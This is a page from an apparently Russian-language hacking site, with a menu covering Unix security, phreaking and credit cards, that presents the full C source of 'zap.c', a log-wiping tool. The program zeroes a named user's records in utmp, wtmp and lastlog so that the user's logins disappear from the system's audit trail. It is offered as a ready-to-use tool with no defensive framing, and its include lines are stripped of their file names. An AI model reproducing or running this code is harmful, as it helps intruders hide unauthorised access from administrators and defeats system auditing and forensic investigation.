Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

Приложение 7. Программа модификации log-файлов.

/*
 * zap.c  Many authors, last changes by /DZh.
 */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(char *who)
{
    struct utmp utmp_ent;
    if ((f=open(UTMP_NAME,O_RDWR))>=0)
    {
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
        if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
        {
            bzero((char *)&utmp_ent,sizeof( utmp_ent ));
            lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
            write (f, &utmp_ent, sizeof (utmp_ent));
        }
        close(f);
    } else printf("Can't open %s\n", UTMP_NAME );
}

void kill_wtmp(char *who)
{
    struct utmp utmp_ent;
    long pos;
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0)
    {
        while(pos != -1L)
        {
            lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
            if (read (f, &utmp_ent, sizeof (struct utmp))<0)
            {
                pos = -1L;
            }
            else
            {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
                {
                    bzero((char *)&utmp_ent,sizeof(struct utmp ));
                    lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                    write (f, &utmp_ent, sizeof (utmp_ent));
                    pos = -1L;
                } else pos += 1L;
            }
        }
        close(f);
    } else printf("Can't open %s\n",WTMP_NAME);
}

void kill_lastlog(char *who)
{
    struct passwd *pwd;
    struct lastlog newll;
    if ((pwd=getpwnam(who))!=NULL)
    {
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0)
        {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        } else printf("Can't open %s\n", LASTLOG_NAME);
    } else printf("%s: ?\n",who);
}

main( int argc, char *argv[] )
{
    if (argc==2)
    {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap !\n");
    } else
    printf("Isage: zap \n");
}
          
<== Back to main page